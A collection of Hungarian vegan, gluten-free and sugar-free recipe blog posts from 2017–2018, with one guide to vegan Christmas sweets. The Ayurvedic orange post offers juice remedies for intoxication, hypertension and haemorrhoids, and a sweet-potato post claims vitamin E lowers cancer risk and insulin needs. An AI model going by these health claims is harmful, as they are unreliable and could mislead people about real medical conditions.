Erdei gyümölcsös "joghurt" szelet
Íme egy igazán könnyű, frissítő “mentes” desszert recept amely nemcsak vegán, cukormentes hanem gluténmentes is! Hozzávalók: (10-12 szelethez) 100 g rizsliszt 50 g gluténmentes lisztkeverék 25 g kókuszreszelék 25 g kakaópor 200 ml víz 80 g eritrit 1/2 citrom lereszelt héja 6 evőkanál folyékony (szoba hőmérsékletű) kókuszolaj 1 tasak foszfátmentes sütőpor Krém: 250 g selyem tofu 200 ml kókusztejszínt 100 g eritrit 1 citrom reszelt héja 1 citrom leve késhegynyi bourbon vanília 2 csapott evőkanál agar-agar 1,5 dl víz két maréknyi friss, vegyes piros gyümölcsök A piskóta száraz hozzávalóit összekavarjuk, majd hozzáadjuk a nedves hozzávalókat, robotgéppel alaposan összedolgozzuk és egy kiolajozott kapcsos 10 szeletes tortaformába öntjük, 180 C fokon 40 percig sütjük. Tűpróbát végzünk, ha nem tapad a közepe elkészült, ha szükséges még 5-10 percig sütjük 150 C fokon. Formában hagyjuk kihűlni. A krém hozzávalóit (kivéve az agar-agar és víz) összeturmixoljuk. A vizet hidegen elkeverjük az agar-agarral és felforraljuk. Utána hozzákeverjük, turmixoljuk a krémmel, belekeverjük a megmosott gyümölcsöket és a formába öntjük, a piskóta tetejére. Hűtőben egy éjszakát pihentetjük, vagy fagyasztóban 1-2 órát hűtjük. The post Erdei gyümölcsös "joghurt" szelet appeared first on fittanyuka.hu.
Kakaós tekercs
2018. március 18. Beautilicious
Gyorsan összedobható egészséges fehérjében és rostban gazdag sütike erre a hideg tavaszi napra. hozzávalók - 150gr barna rizsliszt - 50gr kókuszliszt - 15g bambuszrost liszt - 40gr édesítőszer - 3tojás - 125gr natúr joghurt - 200ml kókusztej - 50ml kávé - 30gr kakaópor - sütőpor így készítsd - Keverd össze alaposan a hozzávalókat a kávé, és kakaó kivételével - Válaszd ketté a masszát, és a feléhez add a kakaóport, és a kávét - Nyújtsd ki a fehér részt, majd a sötétet is - Helyezd egymásra, és tekerd fel - Süsd ki 180 fokon 30perc alatt
A narancs áurvédikus felhasználása
2018. március 12. Élj harmóniában
A narancs az ájurvéda szempontjából savanyú, édes és fűtő hatású. Nehezen emészthető, tápláló gyümölcs. Megnyugtatja a vata-t , az édes narancs jó a pittáknak mértékkel fogyasztva, de ha savanyú kifejezetten kedvezőtlen. Ha valaki sokat eszik a kapha-t stimulálja. Ezért a sok narancs fogyasztása nyálkásodást, taknyosodás okozhat. Néhány ájurvédikus alkalmazási mód: - 1 csésze friss narancslé egy csipet kősóval, kiváló sportolás utáni fáradtságra. Annak érdekében, hogy a pittát ne irritálja tegyél hozzá 10 csepp friss lime levet. - 1 csésze friss narancslé, fél teáskanál természetes cukorra (pl. teljes értékű barna nádcukor vagy sharkara cukor) és egy őrölt csipet római kömény jó a vérző ínyre, a véreres szemekre és az aranyeres betegségekre. - Alkoholos vagy kábítószeres befolyásoltság esetén, fogyassz 1 csésze friss narancslevet 1 teáskanál lime levével és egy csipet őrölt római köménnyel. - Égető vizeletre, ödémára és magas vérnyomásra jótékony 1 csésze friss narancslé, fél csésze friss kókuszlével naponta 2* vagy 3* fogyasztva. - Aggodalom, szorongás és megnövekedett szívritmus esetén nagyon jó 1 csésze friss narancslé, egy teáskanál mézzel és egy csipet szerecsendióval. - Az édes narancs leve nagyon tápláló a terhesség ideje alatt. - Emésztési problémák és gázosodás esetén, igyál egy csésze narancslevet egy csipet hinggel és egy csipet ajwainnal (ezek indiai boltokban beszerezhetőek) . Ez nagyon jól segít a gázokat felszabadítani és javítja az emésztést. Kizárólag vegyszermentes (bio) narancsot fogyassz. felhasznált szakirodalom: dr. Vasant Lad és Usha Lad Ájurvéda szakácskönyve
Csőben sült édesburgonya
Amellett, hogy C-vitamin és béta karotin forrás, E-vitamint is tartalmaz az édesburgonya, más néven batáta. Magyar és angol nyelvű oldalakon, valamint egy angol nyelvű könyvben próbáltam utánanézni mennyi E-vitamint tartalmaz 100 gram édesburgonya, és meglehetősen változatos számokat találtam. A könyv szerint 130 gram sült édesburgonya 7,7 mg E-vitamint, jobban mondva Tocopherol-t tartalmaz. (Kristen Hartvig, The healthy diet calorie counter, 2004, 126.o.). A könyv leirja, hogy az E-vitamin is egy fő antioxidáns, akárcsak a C-vitamin. Sejtmembrán védő szerepe van. Mivel minden szervünk sejtekből épül fel, ezért igen fontos, hogy legyen megfelelő mennyiségű E-vitamin mindennapi táplálékainkban. Külön kiemelendő, hogy csökkenti a szívbetegség, rák és cukorbetegség kockázatát. Egyes tapasztalatok szerint rendszeres E-vitamin szedés során cukorbetegek inzulinadagja csökkent. Az E-vitamin a hőt lényegesen jobban bírja, mint a C-vitamin, 170 fokon pusztul el ugyanis. A következő ételnél ha ügyelünk a főzési/sütési hőmérsékletre, akkor ételünkben marad E-vitamin. Ezzel támogatjuk sejtjeinket, segítjük őket a szabadgyökök elleni védekezésben.
A recept
Hozzávalók:
- 1,5 kg édesburgonya (ebben a receptben vegyesen lila és sárga batáta)
- 1,5 csomag tofu
- szójatej
- 2 ek sörélesztő pehely
- só
- 1-2 gerezd fokhagyma
- kurkuma
- kókuszzsír
Elkészítés:
A megmosott batátákat héjastól vízben megfőzzük, de ne túl puhára. Közben felszeleteljük a tofut, és némi szójatejjel és sörélsztő pehellyel összeturmixoljuk. Sűrűbb szószt kapunk, olyasmit mint egy folyósabb joghurt. Sóval, 1-2 gerezd fokhagymával és kurkumával ízesítjük ezt a szószt a turmixolás során.
A megfőtt batátákat hideg vizzel átzuhanyoztatjuk, majd ha picit lehűltek, megpucoljuk őket, és felkarikázzuk. A tűzálló tálat kókuszzsírral kikenjük. Először egy sor felkarikázott batátát teszünk, megsózzuk, majd a tofus szósz egy részével beterítjük. Következő sor felkarikázott batátát megsózzuk és arra is öntünk a tofus szószból. Ezt addig csináljuk, míg az édesburgonya és a szósz el nem fogy. Ezután mehet a sütőbe, ahol pirulásig sütjük, maximum 150-160 fokon.
Almás zabpelyhes keksz – tojásmentes, cukormentes, tejmentes
2018. február 22. Eszemiszom – Jóga Magazin
Ha tél és gyümölcs, akkor, az leginkább az alma. Ilyenkor érdemes a szezonalitásnak megfelelő gyümölcsöket, zöldségeket enni, mert sajnos pl. a déli gyümölcsök ugyan finomak, de természetüket tekintve hűtik és nedvesítik a szervezetet és nehezebb őket a szervezetnek emészteni ilyenkor. Ezért fázékonyságot, puffadást, orrfolyást, etc. eredményezhetnek.
Ha már alma, ma egy nagyon puha zabpelyhes kekszek készítettem. Ez egy egyszerű, gyors és egészséges finomság. Lehet reggeli vagy desszert is. Készítheted teljesen cukormentes változatban is, ha édes az alma. Gluténmentes diétában, gluténmentes zabpelyhet és zablisztet használj.
Hozzávalók
1 csésze zabliszt
1 csésze zabpehely
1 tk. szódabikarbóna
1 tk. fahéj
1/4 tk, vanília
1 csipet szárított gyömbér
1/3 csésze kókuszolaj (vajat is használhatsz helyette)
2 ek. lenmagliszt
8 ek. víz
4 közepes alma
Vegyszermentes (bio) alapanyagokat használj!
Az almát mosd meg, hámozd meg és reszeld apróra vagy használj aprítógépet. A lenmaglisztet öntsd le a vízzel és hagyd állni egy picit – ez fogja összetartani a tésztád. (A “tojás helyettesítéséről” egy korábbi bejegyzésben részletesen írtam már itt olvashatod)
Egy tálban keverd össze a zablisztet, zabpelyhet, szódabikarbónát, fűszereket. Ha nagyon édesszájú a család keverj hozzá teljes értékű nádcukrot. Majd keverd hozzá az olvasztott kókuszzsírt és add hozzá a lenmaglisztes keveréket. Az egészet keverd gyorsan össze. Amikor elkeverted a tésztát, kanál segítségével egy sütőpapírral bélelt tepsire tegyél adagokat és nyomkodd le, hogy keksz formája legyen.
Tedd 180°C fokra előmelegített sütőbe és süsd amíg aranybarnára sül. (kb. 20-25p) . A végén ha édesebben szeretnétek egy kis barna nádcukorral szórd meg.
gőzgombóc
2018. február 16. Beautilicious
Életem első, de nem az utolsógőzgombócát készítettem el ma reggel. Mindössze 5 perc a mikróban, és kész a csoda. Nagyon finom alap, ami sokféle képpen variálható. Nálam most a csokis kókuszos ízben készült hozzávalók - 100gr túró - 1tojás - 25gr barna rizsliszt - 25gr kókuszliszt - 1tk sütőpor - 30gr kakaópor - 30gr kókuszreszelék - 30+30gr édesítő - 100+150ml tej így készítsd - bögrébe keverd össze a túrót, tojásfehérjét, liszteket, 30gr édesítőt,100ml tejet, és sütőport - a pudinghoz főzzük meg a tojássárgáját, kakaóport, 30gr édesítőt,kókuszreszeléket, és 150 ml tejet - tölts meg a pudinggal a keveréket, és tedd mikróba 5 percre
Hajtogatott pizza
2018. február 13. Vegán Család
Hozzávalók:
Tésztához:
40 dkg teljes kiőrlésű tönkölyliszt
50 dkg rétesliszt
10 dkg búzacsíra
2 tk só
1 dl olívaolaj
5 dl langyos víz
5 dkg élesztő
1 ek kókuszcukor
Töltelékhez:
1 konzerv sűrített paradicsom
kevés víz
1 tk só
bazsalikom, oregánó ízlés szerint
1 kis zacskó magozott olívabogyó felszeletelve
növényi sajt szeletelve
Tetejére:
2 ek olívaolaj
1 kk só
sörélesztőpehely
[...] Bővebben!
Kókusztejszínes zöldség gyömbérrel és shitake-val, köret: gabonakolbászos köles
Egy elég rendhagyó kombináció ez az étel, de működik! Nagyon finom, és jól harmonizálnak a különböző nemzetek ízei. És nem utolsó sorban: nagyon egyszerű recept és gyorsan elkészül. Hozzávalók: 1 bögre köles 3-4 cm-es darab egy gabonakolbászból só fagyasztott zöldhüvelyű zöldbab fagyasztott sárgahüvelyű zöldbab 1 db sárgarépa apróra vágva spenótlevelek (egyéb fagyasztott zöldségek ízlés szerint) 1 doboz kókusztejszín friss vagy szárított gyömbér friss vagy szárított shiitake gomba fokhagyma só Díszítéshez: szezámmag Elkészítés: a kölest megmosom, és dupla mennyiségű vízben készre főzöm a belemorzsolt gabonakolbásszal együtt, és ízlés szerint sózva. Ha szárított shiitake gombával dolgozunk, azt fél órára érdemes beáztatni főzés előtt. A zöldbabokat, a csíkokra vágott gombát és a répát a kókusztejszínben elkezdem főzni közepes lángon, fedő alatt, beleteszem a gyömbért és sót ízlés szerint. 15-20 perc múlva hozzáadom a spenótot és fokhagymanyomóval a fokhagymát. Amint a spenótlevélkék megfonnyadtak, vagy fagyasztott spenót levél esetén: felolvadtak, és a zöldbabok is megpuhultak, kész az ételünk. Bőven szórt szezámmaggal vagy dióval tálalom. The post Kókusztejszínes zöldség gyömbérrel és shitake-val, köret: gabonakolbászos köles appeared first on VegaNinja.
Mángoldos - brokkolis subji - indiai zöldséges főétel
2018. február 8. Élj harmóniában
Ezt a subjit gyakran készítem, és képes vagyok több nap egymás után is újra és újra megcsinálni. Imádom ezeknek a zöldségeknek az ízkombinációját és a látványát is:) Hozzávalók 3 ek. ghí ( vegán változatban kókuszzsír) 1 nagy édeskömény 1 nagy fej brokkoli 1 csokor mángold 1 kk. római kömény 1 kk. édeskömény 0,5 ek örölt koriander 1 kis db gyömbér csipet kurkuma só Vegyszermentes (bio) alapanyagokat használj! A brokkolit szedd rózsáira, mosd meg és a rózsákat vág félbe - ha nagyon nagyok 3 vagy 4 részre, emrt így pont együtt készül majd el a többi zöldséggel:). Az édesköményt mosd meg és vágd darabokra. A mangoldot szedd leveleire mosd meg és azt is vágd kisebb darabokra. Én először középen vágom félbe és utána keresztbe. A zsiradékot tedd egy forró edénybe. Tedd bele a római köményt és az édesköményt és pirítsd egy rövid ideig. Add hozzá a gyömbért, koriander és pirítsd őket néhány percig, majd tedd bele a kurkumát. Tedd hozzá a zöldségeket és.tegyél hozzá egy kis vizet, keverd meg és fedd le úgy, hogy egy kis rés maradjon. Néha kevergesd és addig párold, amíg a zöldségek megpuhulnak. Rizzsel, chapati kenyérrel, quinoával vagy bármilyen gabonával tálalhatod. A végén locsold meg olívaolajjal vagy napraforgóolajjal.
Brokkoligolyók kókuszbundában
Leggyakrabban édességekhez használjuk a kókuszreszeléket. Ez általános. Nagy ritkán mégis megszáll valami, ami által kísérleteket viszek véghez. Így jött létre ez a kókuszreszelékbe forgatott brokkoli golyó. Ha van maradék párolt brokkolid, vagy nem tudod, mit kezdj a hűtőben pihenő brokkoliddal, íme egy jó kis recept. Mi zöldséges rizzsel és vegán majonézzel fogyasztottuk. Kellemes ízélmény ezek együttese.
A recept
Hozzávalók:
- 400 g brokkoli
- 0.5 fej vöröshagyma
- 1 gerezd fokhagyma
- zabpehely
- 2 ek sörélesztő pehely
- kókuszreszelék
- só
Elkészítés:
A brokkolit megmossuk, és a rózsáira szedjük. Kevés sós vízben feltesszük párolni kb. 10-15 percig. A vöröshagymát, fokhagymát felaprítjuk. Amikor félig megpuhult a brokkoli, hozzáadjuk a felaprított hagymát és a fokhagymát. Botmixerrel vagy gyorsaprítóval összeturmixuljuk úgy, hogy maradjanak benne darabok. Hozzákeverünk annyi zabpelyhet, hogy formázható masszát kapjunk. Adunk hozzá sót és sörélesztő pelyhet, majd gombócokat formálunk belőle. A gombócokat pedig meghempergetjük kókuszreszelékben. Sütőpapíros tepsire helyezzük és kb. 15-20 perc alatt készre sütjük. Rizibizivel és vegán majonézzel fogyasztottuk.
Zabos-kesudiókrémes trüffel
2018. január 31. Éltető ételek
Gyakran készítek trüffeleket, abból, ami éppen itthon van. Többnyire aszalvány és olajos mag az alapja, most viszont került bele tápláló zabpehely és krémes avokádó is. Hozzávalók: - 25 dkg datolya - 10 dkg zabpehely darálva - 10 dkg kesudió - 1/2 érett avokádó - 3 evőkanál puffasztott quinoa - késhegynyi fahéj és vaníliapor - 1 evőkanál cukrozatlan kakaópor - 5 dkg apróra tört, enyhén pirított dió Elkészítése: - A datolyát vágd fel kis darabokra, hogy a gép jobban bírja a darálást. - A kesudiót kávédarálóval daráld krémesre, addig, amíg a daráló falára az kicsapódik. - Egy nagyobb késes darálóba tedd bele a feldarabolt datolyát, a zabpelyhet, a kesudió krémet és az avokádót. Szórd bele a kakaóport és a fűszereket. - Dolgozd jó alaposan össze. - Szórd bele a quinoát és a diót. Kézzel keverd össze, és formázz belőle golyókat. - Forgasd meg kókuszreszelékben.
Sütőtök sabji
Sütőtök mogyoróval és kókusszal - az indiai konyha remeke. Rizzsel vagy lepénykenyérrel (parathával vagy purival) tálaljuk. Hozzávalók: 6 dkg földimogyoró 2 ek friss reszelt kókusz 3 ek olaj 1,5 kk fekete mustármag 2 kk urad dál 5 currylevél 1/4 kk őrölt csili 1/2 kk kurkuma 1 kg megtisztított,...
fahéjas briós
2018. január 12. Beautilicious
Egy igazi nagy kedvenc fahéjjal megspékelve, diétásan. Hozzávalók - 30gr bambuszrost liszt - 70gr búza sikér - 100gr zabliszt - 1 tojás - 60gr édesítő - 30gr vaj vagy kókuszzsír - 200ml tej - méz - 20gr élesztő - fahéj Így készítsd - Futtasd fel az élesztőt a mézzel, és a tejben - Keverd össze a hozzávalókat, majd dagasztd a tésztát - Tedd félre kelni 1 órára - Oszd 10 részre a tésztát, majd nyújts belőle hosszúkás rudakat - Tekerd fel, mint a csigát - Helyezd tepsibe, majd szórd meg édesítővel - Süsd 170 fokon 20 percig
Citromos máktorta
2018. január 8. Gitta nyersétel blogja
Ha még nincs eleged a mákból... mákos bejgli, mákos guba, mákos mákos... a mákból sosem elég, igaz? A mák és a citrom barátok :) Hozzávalók egy 10 szeletes tortához: az alaphoz: 10 dkg kókuszreszelék 12 dkg datolyapép (beáztatott datolya elturmixolva) a mákos réteghez: 20 dkg őrölt mák 3 dkg őrölt kesudió 15 dkg datolyapép 1 evőkanál citromlé 1/2 citrom reszelt héja a citromos réteghez: 10 dkg kesudió 1 dl olvasztott kókuszolaj 1 citrom leve és reszelt héja 2 kanál rizsszirup vagy méz 0,4 dl mandulatej (vagy víz) Egy 18 cm-es tortaformát kibélelünk sütőpapírral. Az alap összetevőit jól összegyúrjuk és belenyomkodjuk egyenletesen az alapba. A tetejét kanál hátuljával elsimítjuk. Elkészítjük a mákos réteget: az őrölt mákot, kesudiót összekeverjük a többi hozzávalóval, és rásimítjuk az alapra. A citromos réteghez mindent turmixgépbe teszünk és simára turmixoljuk. Kóstoljuk, az édességét igazítsuk az ízlésünkhöz. Ha kész a krém, azt is a tortára öntjük. Elsimítjuk a tetejét. Hűtőszekrényben hagyjuk összedermedni. Megszórjuk mákkal a tetejét.
Magyaros szendvicskrém
Hozzávalók egy normál magyaros vajkrémes műanyag doboz megtöltéséhez - 125 g főtt bab (konzerv tökéletes) - 2 mk ecet - 1 mk pirospaprika - fél mk őrölt kömény - 1/4 mk fokhagyma granulátum - 1 ek olvasztott kókuszolaj - 1 ek víz Botmixerrel habosítsd össze a hozzávalókat, és kész. Ez tényleg ilyen egyszerű! :) Jó étvágyat! Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Ha itt feliratkozol, a legújabbakat mindig frissen kapod majd a postaládádba. :) Nézd meg a legújabb Kertkonyha főzőtanfolyamokat: Kezdő Vegán Vegán MUST HAVE – a kötelező alapcsomag Növényi Tejek és Tejtermékek I Növényi Tejtermékek II A Mindennapi Superfood Kezdő Vegán Angol nyelven The post Magyaros szendvicskrém appeared first on Kertkonyha.
Vegán kevert sütemény dióval
Ez csak egy egyszerű kevert sütemény dióval, ami frappáns akár karácsonykor is, mert gyorsan elkészül, nincs sok macera vele, viszont kiadós. A tetejére dió helyett vagy mellett aszalt gyümölcsöt is tehetünk. Ha a tésztába a lisztbe szórunk egy kis mézeskalács fűszerkeveréket, még ünnepibb ízt érhetünk el vele.
A recept
Hozzávalók:
- 1 bögre növényi tej (2-3 dl)
- 3 evőkanál olaj
- 1 csapott teáskanálnyi szódabikarbóna
- liszt, amennyi hasonló állagúvá teszi, mint a piskótamassza, nem túl folyós, enyhén sűrű (fele arányban teljes kiőrlésű és fehér liszt plusz egy kevés zabpehely liszt, összesen kb. 20-25 dkg)
- ízlés szerint nyírfacukor vagy gyümölcscukor vagy kókuszvirág cukor (2-3 ek)
- 1 ek citrom vagy narancs, esetleg almaecet
- 1 kisebb marék dióféle
- 1 ek kakaó vagy karobpor (opcionális)
- sütőpapír
Elkészítés:
A liszteket összekeverjük egy tálban, hozzákeverjük a szódabikarbónát, a cukrot, a karobot vagy kakaóport. Hozzáadjuk az olajat, majd a növényi tejet és a kifacsart citrom- vagy narancscseppeket és csomómentesre keverjük. A diófélét kisebb darabokra felaprítjuk. Sütőpapíros tepsibe öntjük a tésztát. Rászórjuk a felaprított dió-darabokat, majd sütőben készre sütjük. Ha kihűlt, szeleteljük és porhanyósra őrölt gyümölcscukorral megszórjuk a tetejét.
Sütés előtt a tészába keverhetünk egy kis mézeskalács fűszerkeveréket, különlegessé téve a sütemény ízét.
Karácsonyi granola + narancsos testradír (vegán ajándékok sajátkezűleg)
2017. december 19. Zizi kalandjai
Csapó Ildi bloggertársammal, a Greenway Design írójával az az ötletünk támadt, hogy kitalálunk két hasznos, kedves vagy éppenséggel finom és ízletes vegán ajándékot, amellyel szívesen lepjük meg szeretteinket és Nektek is hasznos tippeket adhatunk így a véghajrában.
Az egyik recept, egy általam készített karácsonyi granola, a másik recept pedig, egy Ildi által készített narancsos testradír, ami az ehető kencék kategóriába tartozik. Olyan natúrkozmetikum, ami teljesen természetes összetevőkből áll, fantasztikus az illata és egy nehéz nap végén vagy éppen a karácsonyi pihenés alatt igazi relaxáló kényeztetést nyújt a használata.
Bevallom a gyerekek mellett kevésbé vagyok aktív gasztro ajándék készítő, de azért néhány aprósággal idén is készülni fogok a családtagoknak, néhány közeli barátnak. A granola (ropogós reggeli müzli, amit tehetünk a kásánkra, szórhatjuk a turmixunkra, tehetjük kókusz- vagy szójajoghurtba vagy növényi tejbe) nagyon nagy sláger nálunk és a gyerekkel együtt készítve sem fog (talán) felfordulni a konyha az elkészítésekor! Összekeverjük a hozzávalókat, tepsire borítjuk, megpirítjuk a sütőben és már csomagolhatjuk is üvegbe vagy díszes (saját készítésű) tasakba. Az ajándékozott biztosan értékelni fogja, hogy saját magunk készítettünk valamit, ami ráadásul nagyon finom is.
Ebben a karácsonyi granolában a fűszereké és a színeké a főszerep. A piros színt az aszalt áfonya adja, a fehéret a kókuszchips, a zöldet pedig a pisztácia. A fűszerek pedig őrölt gyömbér, fahéj, szegfűszeg és szerecsendió. Teljesen karácsony illat lesz a konyhánkban, amikor készítjük.
Karácsonyi granola (laktózmentes, gluténmentes, vegán ) Mentés Nyomtatás Előkészítési idő 10 perc Főzési idő 20 perc Teljes idő 30 perc Ropogós, fűszeres granola. Kiváló reggelire vagy délutáni nasinak és karácsonyra ajándékba! Szerző: Zizi Recept típusa: snack, reggeli, granola Konyha: vegán, gluténmentes Adag/mennyiség: 6 főre Hozzávalók 4 bögre aprószemű gluténmentes zabpehely 1 bögre dió, durvára aprítva 1 bögre mandula, durvára aprítva 1 bögre napraforgómag ½ bögre tökmag ½ bögre kókuszreszelék 4 evőkanál extra szűz kókuszzsír, olvasztva 4 evőkanál juharszirup 3 evőkanál chia mag 1 teáskanál őrölt gyömbér 1 teáskanál őrölt fahéj ½ teáskanál őrölt vanília ½ teáskanál őrölt szegfűszeg ¼ teáskanál őrölt szerecsendió ½ bögre sós vagy natúr pisztácia, durvára aprítva, sütés után hozzáadva ½ bögre aszalt vörösáfonya, sütés után hozzáadva ½ bögre kókuszchips, sütés után hozzáadva Elkészítés Melegítsük elő a sütőt 180 fokra. Egy nagy tepsit béleljünk ki sütőpapírral. Egy tálban keverjük össze a száraz alapanyagokat: zabpehely, dió, mandula, napraforgómag, tökmag, kókuszreszelék, chia mag, őrölt gyömbér, őrölt fahéj, vanília, szegfűszeg és szerecsendió. Egy másik tálban keverjük össze a nedves hozzávalókat: a kókuszzsírt és a juharszirupot. Ezt a nedves keveréket adjuk a szárazhoz és jól keverjük el, hogy a kókuszzsír és a juharszirup mindenhol befedjék (érintsék) a magokat. Borítsuk rá a tepsire és kanállal egyengessük el, hogy mindenhova egyformán jusson. Süssük kb. 10-12 percig, keverjük át, majd süssük újabb 10 percig, amíg aranybarna lesz (ellenőrizzük folyamatosan, mert sütő függő, hogy milyen hamar lesz kész). Ha kihűlt, keverjük hozzá a pisztáciát, a vörösáfonyát és a kókuszchipszet is. Üvegben/dobozban tartva hetekig eláll. Bár nem fog addig tartani, ezt garantálom! Jegyzetek A recepthez használt bögre 250 ml-es. Ha nincs juharszirupunk, helyettesíthetjük agavé- vagy rizssziruppal. A juharszirupot el is hagyhatjuk, így teljesen cukormentes lesz a granola. 3.5.3229
És íme a csodás vegán narancsos testradír, amit Ildi készített nektek… A receptért és csomagolási ötletekért kattintsatok át ide.
Almás háromszög
2017. december 16. Beautilicious
Karácsonyi illat a reggeliző asztalnál. Igazi karácsonyi ízek bűnözés nélkül, egészségesen. Nem beszélve arról, hogy pikk pakk kész. Hozzávalók - 125gr sütőtökpüré - 1tojás - 60gr zabliszt - mézeskalács fűszerkeverék/ fahéj, őrölt szerecsendió, gyömbér - csipet só - 1ek sütőpor - 150ml kókusztej - 1 alma - kókuszolaj a sütéshez Így készítsd - Keverd össze a sütőtököt tojással, és a tejjel - Add hozzá a lisztet, sót, sütőport, és a fűszereket - Reszeld le az almát, és keverd össze fahéjjal - A melegszendvicssütőt olajozd ki, majd kanalazz bele tésztát, erre jöhet egy kis reszelt alma, majd még egy kicsi a tésztából - Néhány perc alatt kész is
Ropogós pirított tofu kápia paprikával (laktózmentes, gluténmentes, vegán) + Smartchef szakácsrobot készülék
2017. december 12. Zizi kalandjai
Korábbi bejegyzésben írtam, hogy azon szerencsés 12 személy közé kerültem, akiket kiválasztottak, hogy teszteljék a Smartchef szakács robot készüléket. Első receptként egy lassú főzés (slow cooking) programmal főzött babgulyás receptjét hoztam nektek. A második recept egy “joghurt” (yoghurt) programmal készített kókusz ivójoghurt volt. Most pedig egy ropogós tofu receptje jön, amely a család nagy kedvence lett.
A tofut az egész család imádja. A gyerekek már akkor eszik (főleg a füstöltet), amikor kockákra vágom. Ádi még ici-pici sót is szokott szórni a kis kockákra és úgy bekapja. Már ott tartunk, hogy két nagy csomag tofu kell nálunk ebédre, mert mindenki annyit eszik belőle, hogy kell ekkora mennyiség. Ha marad is egy kevés, azt biztosan megesszük vacsorára salátával, zöldségekkel, humusszal, kenyérrel.
A tofut serpenyőben is jól lehet pirítani, de a Smartchef profin elvégzi a munkát rövidebb idő alatt, mintha serpenyőben készítenénk. A “barnít” (brown) program nemcsak tofu pirítására jó, hanem gomba pirítására is. Én akárhányszor akármilyen tűzhelyen pirítok gombát, mindig levet ereszt és nem lesz szépen megbarnult. A Smartchefben készítve nem ereszt levet a gomba, azonnal pirulni, barnulni kezd és 10 perc alatt fantasztikus ízű pirított gomba lesz belőle. Pedig ugyanúgy készítem elő a gombát, ugyanolyan gombát használok, és Smartchefben sikerül, tűzhelyen nem. Ez a recept viszont a tofuról szól, amit fokhagymával és kápia paprikával készítettem. Magában is jó nasinak… annyira finom! Mi rizzsel és lilakáposzta salátával ettük! Fenséges volt!
Ropogós pirított tofu kápia paprikával (laktózmentes, gluténmentes, vegán) + Smartchef szakácsrobot készülék Mentés Nyomtatás Előkészítési idő 10 perc Főzési idő 20 perc Teljes idő 30 perc Könnyen elkészíthető, gyors, ropogós tofu recept. Szerző: Zizi Recept típusa: főétel Konyha: vegán, gluténmentes Adag/mennyiség: 4-6 főre Hozzávalók 2 csomag (300 g/csomag) natúr kemény tofu, felesleges víz kipréselve belőle, 1x1 cm-es kockákra vágva 1 db nagy kápia paprika, kisebb darabokra vágva 4 gerezd fokhagyma, felaprítva 1 evőkanál kókuszzsír só feketebors Elkészítés Tegyünk a Smartchef készülékbe fél evőkanál kókuszzsírt, adjuk hozzá a felkockázott tofu és kápia paprika felét. Válasszuk ki a barnít (BROWN) programot, majd a START gombot megnyomva, indítsuk el a programot. A készülék tetejét hagyjuk nyitva. Öt perc eltelte után adjuk hozzá a felaprított fokhagyma felét és sózzuk, borsozzuk, ízlés szerint. Kevergessük át, hogy a tofu és a paprika mindenhol jól megpiruljon. Ha lejárt a program, kanalazzuk ki az elkészült tofut, paprikát, majd a maradék alapanyagokból készítsük el a második adagot ugyanígy. Azért van szükség arra, hogy két részletben csináljuk, hogy a tofu kockák és a kápia paprika is jól meg tudjanak pirulni minden oldalukon. Jegyzetek Ha nincs Smartchef készüléke valakinek, akkor az ételt serpenyőben közepes láng felett is el tudja készíteni. 3.5.3229
A ropogós, pirított tofu elkészítéséről videó is készült...
Mi kerüljön a vegán mikuláscsomagba?
A szülők és nagyszülők gyakran tanácstalanul állnak az édességes polcoknál december elején, ha vegán szerettüknek szeretnének összeállítani egy édességcsomagot, például mikulásra. Valljuk be, sok egyéb feladat mellett ez is sajnos még mindig inkább a nagyikra és anyukákra hárul. Nekik segíthet ez a kis összeállítás. Ha biztosra akarunk menni, akkor válasszuk a képen látható vegán édességeket, de jó megoldás az is, ha elolvassuk a termékcímkét. Persze ehhez nem árt tudnunk, hogy melyek a nem vegán összetevők a tejen, tojáson, mézen, állati zsiradékokon kívül. Ilyen például a méhviasz, amit cukrok, gumicukrok és rágógumik bevonatánál használnak. A zselatint állati csontokból vonják ki, és a legtöbb gumicukor alapja. A kármint piros színéért használják, és bíbortetűből készül. A tejpor, tejsavópor, tejzsír nevében benne van a tej szó, így ezeket könnyebb kiszúrni, VISZONT a tejsavat baktériumok állítják elő, így utóbbi nem állati eredetű. A sellak a lakktetű váladékából készül, szintén nem vegán. A propiliszt és a virágport elég kevés édességben találjuk meg, de mivel méhek kihasználásával szerzik be, szintén nem vegán. A pálmaolajról megoszlanak a vélemények, mindenesetre jobb fenntartható gazdálkodásból származó pálmaolajat használni, illetve olyan termékeket venni, amelyekben csak ilyet használnak. Fit Bio müzliszelet – 159 Ft Háromféle ízben kapható, málnás, almás és sárgabarackos ízekben. MaBaker Giant Bar Zabszelet – 299 Ft Sokféle ízben kapható, és nem mind vegán. A sima gyümölcsösek és a földimogyorós, pisztáciás, kókuszos, pekándiós biztosan vegán. A joghurtosak viszont nem! Aszalt gyümölcsök – 300 Ft-tól Rengetegféle közül lehet válogatni a boltok polcain, egyetlen dologra kell odafigyelni: ne legyen mézes, vagy csokiba mártott. Utóbbi esetben ugyan csak a tejcsoki és a fehércsoki nem vegán, az étcsokis sok esetben az, de érdemes elolvasni a címkét. Olajos magvak – Mindenféle árban lehet kapni őket, zacskózva, kimérve, keverve, sósan, só nélkül… Gyakran pálmaolajjal pirítják őket, így erre itt is érdemes odafigyelni. Csokis nápolyi – 549 Ft Sok vegán kerüli a pálmaolajat is etikai okokból, de ebben a nápolyiban fenntartható gazdálkodásból származó pálmaolaj van, amivel biztosan nem lesz problémája az ajándékozottnak! Étcsoki – 699 Ft Nem feltétlenül kell ennyire drága étcsokoládét vennünk, ez egy magas minőségű fajta, de lejjebb még lesznek alternatívák. A Rapunzel Choco egy vegán csokikrém, hasonlít a nutellára, de étcsokisabb ízű. – 1249 Ft Fenntartható forrásból származó pálmaolaj van benne, így a vegánok is nyugodtan fogyaszthatják. A Veganz márka termékeit a Sparokban és Müller üzletekben találjuk meg, kínálatukban minden vegán. Nem mondható olcsónak, egy tábla csoki 600-700 Ft, cserébe nagyon finomak. Vegán gumicukrok – Áruk nagyon változó, de szerencsére már nagyon sok helyen lehet őket kapni. A fenti képet Tudatos Metropolita készítette, akinek az oldalán még több ötletet találtok hétköznapi üzletekben kapható (de gyakran pálmaolajos) termékekhez! https://tudatosmetropolita.blogspot.hu/2016/12/vegan-level-mikulasnak.html Déli gyümölcsök, illetve alma is tehető a csomagba. Egy pár mandarin egyébként is szokott lenni a hagyományos mikuláscsomagokban, ezzel most sem lehet mellényúlni. Természetesen rengeteg más opció van még a boltokban, hozzászólásban írd meg a te kedvenceidet! Kellemes ünnepeket! The post Mi kerüljön a vegán mikuláscsomagba? appeared first on VegaNinja.
